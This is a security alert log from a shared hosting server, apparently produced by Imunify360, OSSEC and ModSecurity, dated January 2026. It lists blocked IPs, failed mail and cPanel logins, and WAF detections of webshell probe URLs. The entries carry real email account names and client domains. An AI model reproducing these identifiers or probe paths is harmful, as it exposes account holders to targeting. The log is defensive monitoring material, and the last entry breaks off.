Jan 13 12:36:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.210.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.22
country_id: 2510769
description:
Jan 13 12:36:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.53.186
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=150120 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:39:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59414: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.189.29.2
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=330766 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.9.166.205
country_id: 3489940
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=192351 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:39:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59414: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 12:39:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.187
country_id: 3469034
description:
Jan 13 12:40:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:42:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63424: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.253.45.105
country_id: 3469034
description:
Jan 13 12:42:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.253.45.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/demos/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.131.209.114
country_id: 3469034
description:
Jan 13 12:42:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.131.209.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:42:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63424: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.131.209.114
country_id: 3469034
description:
Jan 13 12:43:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.131.209.114 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.167.227
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=432867 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.14.133
country_id: 1733045
description:
[2026-01-13 12:48:49 +0800] info [webmaild] 60.54.14.133 - wongss28@fkr.com.my "POST /cpsess9362201720/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [42.191.131.179] != Current IP Address [60.54.14.133]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.167.255.180
country_id: 3057568
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=405883 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.58.89.5
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-49.69.58.89.5||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.10.71.94
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/large/294/393893 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.13.232.170
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=13 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.110.73.228
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=40 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.39.220.123
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=21 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.189.29.51
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=913632 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.74.237.1
country_id: 1562822
description:
2026-01-13 12:54:18 dovecot_login authenticator failed for H=([127.0.0.1]) [27.74.237.1]:10571: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.200.186.178
country_id: 248816
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/product.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.116
country_id: 3469034
description:
Jan 13 12:56:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:57:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14134: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.143
country_id: 3175395
description:
Jan 13 12:57:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.116
country_id: 3469034
description:
Jan 13 12:57:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:57:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14134: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:59:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37652: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:59:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37652: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.93
country_id: 690791
description:
Jan 13 13:00:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.240
country_id: 2510769
description:
Jan 13 13:00:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.199
country_id: 3469034
description:
Jan 13 13:00:54 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.6
country_id: 798544
description:
Jan 13 13:00:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.101.31
country_id: 3469034
description:
Jan 13 13:00:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.101.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.48
country_id: 3469034
description:
Jan 13 13:00:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.172
country_id: 3175395
description:
Jan 13 13:00:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.199
country_id: 3469034
description:
Jan 13 13:01:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.6
country_id: 798544
description:
Jan 13 13:01:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.212
country_id: 690791
description:
Jan 13 13:01:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.212 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.192.107.230
country_id: 6252001
description:
[2026-01-13 13:05:12 +0800] info [cpaneld] 44.192.107.230 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 221.11.242.67
country_id: 1814991
domain: www.manforce.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.manforce.net/mgmtsolutionspage/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59530: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:07:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59532: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 13:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63479: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 13:10:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63482: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.85.254
country_id: 3469034
description:
Jan 13 13:11:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.85.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.85.254
country_id: 3469034
description:
Jan 13 13:11:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.85.254 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-13 13:11:17 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.174
country_id: 3175395
description:
Jan 13 13:11:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 13:11:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.227.83.43
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=841603 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.89.91.205
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=30 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.60
country_id: 2017370
description:
Jan 13 13:13:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.60
country_id: 2017370
description:
2026-01-13 13:13:14 dovecot_login authenticator failed for H=([178.178.222.60]) [178.178.222.60]:38118: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.142.73.116
country_id: 2017370
domain: cordage.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:13-15.91.142.73.116||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.195
country_id: 3469034
description:
Jan 13 13:17:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.237
country_id: 2510769
description:
Jan 13 13:17:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.237 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-13 13:18:45 +0800] info [webmaild] 175.139.174.61 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.15.230.238
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/nissan1.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.70.174.162
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/logo1.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.66.3
country_id: 1562822
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/mitsubishi.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.36.32.117
country_id: 1168579
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/toyota.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.86.29.138
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/logo.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.54.162.61
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/jaguar.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.247
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn.cookielaw.org/scripttemplates/otSDKStub.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.87.200.140
country_id: 953987
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.26.123.63
country_id: 953987
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/ford.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/vendors.bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.131
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/css/bundle187b.css?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/css/chunk-04eeced9.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.238
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.90
country_id: 3865483
description:
Jan 13 13:22:54 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.201.254.95
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/loreal/loreal-luxe/ralph-lauren-fragrances/index.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.136
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn-cgi/challenge-platform/h/g/scripts/jsd/7a55c9ccbaaa/maind41d.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.148.80
country_id: 1562822
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/mazda.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.132.252
country_id: 1562822
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/honda.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.170.62.120
country_id: 1269750
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/assets/71110014155176345.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.49.244.120
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/renault.jpeg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.1.104.220
country_id: 1168579
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/vauxhall.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.35.244.60
country_id: 2017370
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/assets/blink1.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.90
country_id: 3865483
description:
Jan 13 13:23:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.117
country_id: 3469034
description:
Jan 13 13:23:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:25:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14724: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:25:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14725: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.253.147.125
country_id: 3932488
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/comparator/src/ScalarComparator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.184.83.17
country_id: 6252001
description:
Jan 13 13:25:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.184.83.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.184.83.17
country_id: 6252001
description:
